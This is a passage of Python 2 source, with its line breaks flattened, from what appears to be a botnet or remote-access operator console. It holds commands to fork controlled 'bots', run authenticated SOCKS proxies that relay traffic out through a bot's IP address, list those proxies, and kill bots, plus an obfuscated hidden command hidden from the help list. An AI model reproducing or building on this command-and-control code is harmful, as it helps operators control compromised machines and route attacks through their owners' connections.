self.current is None: print Fore.YELLOW + "Error: no bot selected" + Style.RESET_ALL return # The bot must not be busy. if self.is_bot_busy(): print Fore.YELLOW + "Bot is busy" + Style.RESET_ALL return # The port must be free. if port in self.proxies: print Fore.YELLOW + "Error: port is already in use" + Style.RESET_ALL return # Automatically fork the bot so we can keep using it. uuid = self.current.system_fork() # Create the SOCKSProxy. proxy = SOCKSProxy(self.listener, self.current.uuid, bind_addr, port, username, password) # Add it to the dictionary. self.proxies[port] = proxy # Launch the proxy. proxy.start() # With any luck the fork of the bot has already connected. # Try selecting it if we can. If we can't at least deselect it. sleep(0.1) self.current = self.listener.bots.get(uuid, None) # Execute the "rm" subcommand. elif command == "rm": # If there is no proxy at that port, complain. if port not in self.proxies: print Fore.YELLOW + ("No proxy on port %d" % port) + Style.RESET_ALL return # Remove the proxy from the dictionary and kill it. self.proxies.pop(port).kill() # Execute the "ls" subcommand. elif command == "ls": # If we had no active proxies, just show an error message. if not self.proxies: print Fore.YELLOW + "No active proxies right now" + Style.RESET_ALL print "(Use 'help proxy' to show the help)" return # We will show the list of proxies in an ASCII art table. # Same logic as the list of bots. table = Texttable() table.set_deco(Texttable.HEADER) table.set_cols_dtype(("i", "t", "t", "t", "t", "t")) table.set_cols_align(("l", "c", "c", "c", "c", "c")) table.set_cols_valign(("t", "t", "t", "t", "t", "t")) table.set_cols_width((len(str(len(self.proxies))), 36, 15+2, 5+2, 15+1, 4+2)) table.add_rows((("#", "UUID", "Outgoing IP", "Port", "Bind IP", "Auth"),), header = True) i = 0 for port, proxy in self.proxies.items(): i += 1 uuid = proxy.uuid bot = self.listener.bots[uuid] index = self.listener.bots.keys().index(uuid) table.add_row(( index, uuid, "\x02" + bot.from_addr[0] + "\x04", ("\x03" if proxy.alive else "\x01") + str(port) + "\x04", "\x04" + proxy.bind_addr, ("\x03yes\x04" if proxy.username and proxy.password else "\x01no\x04"), )) text = table.draw() text = text.replace("\x01", " " + Fore.RED + Style.BRIGHT) text = text.replace("\x02", " " + Fore.BLUE + Style.BRIGHT) text = text.replace("\x03", " " + Fore.GREEN + Style.BRIGHT) text = text.replace("\x04", Style.RESET_ALL + " ") print print text print # Should never reach here. else: raise AssertionError() def do_kill(self, line): """ \x1b[32m\x1b[1mkill\x1b[0m Kill the currently selected bot. This command takes no arguments.\n""" # A bot must be selected. if self.current is None: print Fore.YELLOW + "Error: no bot selected" + Style.RESET_ALL return # The bot must not be busy. if self.is_bot_busy(): print Fore.YELLOW + "Bot is busy" + Style.RESET_ALL return # Parse the arguments, on error show help. try: assert not split(line, comments=True) except Exception: raise self.onecmd("help kill") return # Kill the currently selected bot. # If the bot refuses to die (they can do that, yes) # an exception will be raised at this point. self.current.system_exit() # Deselect the bot, since we know it's dead now. self.current = None # Scary stuff below! :o) if "play" in globals(): darknet = "tor" filename = "malna.png" bitcoins = 13 secret = "".join([x[1:].encode(darknet[::-1]+str(bitcoins)) for x in os.path.splitext(filename)]) del darknet del filename del bitcoins def get_names(self): secret = "do_" + Console.secret names = Cmd.get_names(self) if secret in names: names.remove(secret) return names # Dunno about you reversing it but I had fun coding this :D if "play" in globals(): setattr(Console, "do_" + Console.secret, play) ############################################################################## # The bit that launches the console itself. # Main function. Assumes colorama has been initialized elsewhere. def main(args = None): # If no arguments are given, use the system ones. if args is None: args = sys.argv[1:] # Load the interactive console. with Console(args) as c: # Show the intro banner but only the first time. skip_intro = False # We need to put this in a loop because the base class # provided by Python is a bit silly and just dies whenever a # command raises an exception, we obviously don't want that. while True: try: # Run the command loop, showing the banner only once. if skip_intro: c.cmdloop(intro = "") else: c.cmdloop() # If we got here that means the exit command was used. break # Show bot errors in a pretty way. except BotError, e: print Fore.RED + Style.BRIGHT + str(e) + Style.RESET_ALL # Quit silently with Control+C. except KeyboardInterrupt: print break # Show all other exceptions as Python tracebacks. # Ugly, but easier to debug. You'll thank me. except Exception: print_exc() # If we got here this is not the first time so skip the banner. skip_intro = True if __name__ == "__main__": main() # colorama already initialized when imported deinit() # cleanup colorama